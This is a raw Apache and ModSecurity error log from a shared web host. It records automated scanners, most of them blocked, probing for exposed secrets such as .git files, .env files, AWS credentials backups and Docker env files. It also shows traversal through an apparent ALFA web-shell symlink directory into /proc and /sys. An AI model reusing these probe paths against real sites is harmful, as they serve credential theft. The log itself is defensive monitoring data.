[Mon Oct 26 22:21:32.509382 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.59.9:44806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auAKrEV4AUzwl86DWirnHgAAABI"]
[Mon Oct 26 22:21:32.509586 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.59.9:44806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auAKrEV4AUzwl86DWirnHgAAABI"]
[Mon Oct 26 22:21:32.510491 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.59.9:44774] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auAKrPYA9VE6YOVz3TBNHgAAABE"]
[Mon Oct 26 22:21:32.510642 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.59.9:44774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auAKrPYA9VE6YOVz3TBNHgAAABE"]
[Mon Oct 26 22:21:32.559988 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.59.9:44806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrEV4AUzwl86DWirnHgAAABI"]
[Mon Oct 26 22:21:32.560024 2026] [security2:error] [pid 3142616:tid 3142616] [client 34.79.59.9:44794] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrN1dvidlkL5qlt-WEwAAABk"]
[Mon Oct 26 22:21:32.564253 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.59.9:44774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrPYA9VE6YOVz3TBNHgAAABE"]
[Mon Oct 26 22:21:33.203052 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:44828] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAKrbHarSgES5WqcDhKjwAAAAU"]
[Mon Oct 26 22:21:33.203311 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:44828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAKrbHarSgES5WqcDhKjwAAAAU"]
[Mon Oct 26 22:21:33.215895 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:44828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrbHarSgES5WqcDhKjwAAAAU"]
[Mon Oct 26 22:21:33.905938 2026] [security2:error] [pid 3142612:tid 3142612] [client 34.79.59.9:44864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auAKrXNS3DmvLoCS_mRi4AAAABg"]
[Mon Oct 26 22:21:33.906188 2026] [security2:error] [pid 3142612:tid 3142612] [client 34.79.59.9:44864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auAKrXNS3DmvLoCS_mRi4AAAABg"]
[Mon Oct 26 22:21:33.940482 2026] [security2:error] [pid 3142612:tid 3142612] [client 34.79.59.9:44864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrXNS3DmvLoCS_mRi4AAAABg"]
[Mon Oct 26 22:21:34.065799 2026] [security2:error] [pid 3142606:tid 3142606] [client 34.79.59.9:44870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auAKrpwShtd1X0LKqV8TPwAAABM"]
[Mon Oct 26 22:21:34.066042 2026] [security2:error] [pid 3142606:tid 3142606] [client 34.79.59.9:44870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auAKrpwShtd1X0LKqV8TPwAAABM"]
[Mon Oct 26 22:21:34.082721 2026] [security2:error] [pid 3142606:tid 3142606] [client 34.79.59.9:44870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrpwShtd1X0LKqV8TPwAAABM"]
[Mon Oct 26 22:21:38.174706 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 52.70.123.241:25562] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:21:50.205000 2026] [security2:error] [pid 3142595:tid 3142595] [client 98.83.94.113:32474] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0303:00/physical_node/firmware_node/physical_node1/"] [unique_id "auAKvnfB5_cr2AuVp7R3xwAAABA"]
[Mon Oct 26 22:21:50.205050 2026] [security2:error] [pid 3142595:tid 3142595] [client 98.83.94.113:32474] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0303:00/physical_node/firmware_node/physical_node1/"] [unique_id "auAKvnfB5_cr2AuVp7R3xwAAABA"]
[Mon Oct 26 22:21:54.215397 2026] [ssl:error] [pid 3142581:tid 3142581] (70014)End of file found: [client 54.83.23.103:22408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:21:58.366052 2026] [ssl:error] [pid 3142609:tid 3142609] (70014)End of file found: [client 52.45.92.83:52759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:22:02.383291 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 98.84.70.201:33615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:22:14.212085 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 184.73.167.217:54879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:22:15.554773 2026] [authz_core:error] [pid 3142596:tid 3142596] [client 45.156.128.203:21300] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:22:18.304459 2026] [ssl:error] [pid 3142581:tid 3142581] (70014)End of file found: [client 34.199.252.22:62012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:22:22.308320 2026] [ssl:error] [pid 3142609:tid 3142609] (70014)End of file found: [client 3.213.46.222:7407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:22:22.308560 2026] [security2:error] [pid 3142609:tid 3142609] [client 3.213.46.222:7407] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/mice/subsystem/input5/event4/dev"] [unique_id "auAK3jn96kgfj4Hvy1IbWQAAABY"]
[Mon Oct 26 22:22:22.308587 2026] [security2:error] [pid 3142609:tid 3142609] [client 3.213.46.222:7407] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/mice/subsystem/input5/event4/dev"] [unique_id "auAK3jn96kgfj4Hvy1IbWQAAABY"]
[Mon Oct 26 22:22:30.230868 2026] [core:error] [pid 3142606:tid 3142606] (13)Permission denied: [client 34.231.45.47:21827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/unbind
[Mon Oct 26 22:22:46.176272 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 18.215.77.19:63272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/node0/cpu1/driver/bind
[Mon Oct 26 22:22:57.620188 2026] [ssl:error] [pid 3142609:tid 3142609] (70014)End of file found: [client 185.191.171.16:63022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:23:15.782810 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 85.208.96.202:41836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:23:18.173557 2026] [core:error] [pid 3142606:tid 3142606] (13)Permission denied: [client 18.213.102.186:2780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/0000:00:03.0/resource0
[Mon Oct 26 22:23:22.214664 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.38.120:51222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:23:30.278752 2026] [ssl:error] [pid 3142581:tid 3142581] (70014)End of file found: [client 18.213.70.100:63116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:23:42.206382 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 34.236.41.241:11703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:23:46.306507 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.202.88.37:16822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:23:50.224669 2026] [security2:error] [pid 3122519:tid 3122519] [client 35.172.125.172:48591] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:0d/subsystem/drivers/button/LNXPWRBN:00/input/input0/power/"] [unique_id "auALNsSPa3-L2OSmntaJ-wAAAAI"]
[Mon Oct 26 22:23:50.224708 2026] [security2:error] [pid 3122519:tid 3122519] [client 35.172.125.172:48591] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:0d/subsystem/drivers/button/LNXPWRBN:00/input/input0/power/"] [unique_id "auALNsSPa3-L2OSmntaJ-wAAAAI"]
[Mon Oct 26 22:23:58.529445 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 52.204.89.12:1561] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/uevent
[Mon Oct 26 22:24:02.387233 2026] [ssl:error] [pid 3142606:tid 3142606] (70014)End of file found: [client 44.195.145.102:46851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:06.308770 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 44.194.139.149:16453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:10.217264 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.212.106.171:4718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:14.275093 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.195.248.30:35034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:15.126138 2026] [core:error] [pid 3142581:tid 3142581] (13)Permission denied: [client 85.208.96.201:47992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/usersize
[Mon Oct 26 22:24:20.541807 2026] [core:error] [pid 3142580:tid 3142580] (13)Permission denied: [client 185.191.171.1:21962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/alloc_calls
[Mon Oct 26 22:24:22.193864 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 34.194.226.74:51561] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:28.151706 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auALXHfB5_cr2AuVp7R3zgAAABA"]
[Mon Oct 26 22:24:28.152068 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auALXHfB5_cr2AuVp7R3zgAAABA"]
[Mon Oct 26 22:24:28.152722 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auALXHfB5_cr2AuVp7R3zgAAABA"]
[Mon Oct 26 22:24:28.351558 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auALXJwShtd1X0LKqV8TRwAAABM"]
[Mon Oct 26 22:24:28.351809 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auALXJwShtd1X0LKqV8TRwAAABM"]
[Mon Oct 26 22:24:28.352100 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auALXJwShtd1X0LKqV8TRwAAABM"]
[Mon Oct 26 22:24:28.362099 2026] [authz_core:error] [pid 3142609:tid 3142609] [client 79.137.65.42:50086] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 22:24:28.394212 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auALXEV4AUzwl86DWirnKAAAABI"]
[Mon Oct 26 22:24:28.416355 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auALXEV4AUzwl86DWirnKAAAABI"]
[Mon Oct 26 22:24:28.416656 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auALXEV4AUzwl86DWirnKAAAABI"]
[Mon Oct 26 22:24:28.418015 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auALXIU8RArHmY5bTmWw6gAAAAY"]
[Mon Oct 26 22:24:28.418157 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auALXIU8RArHmY5bTmWw6gAAAAY"]
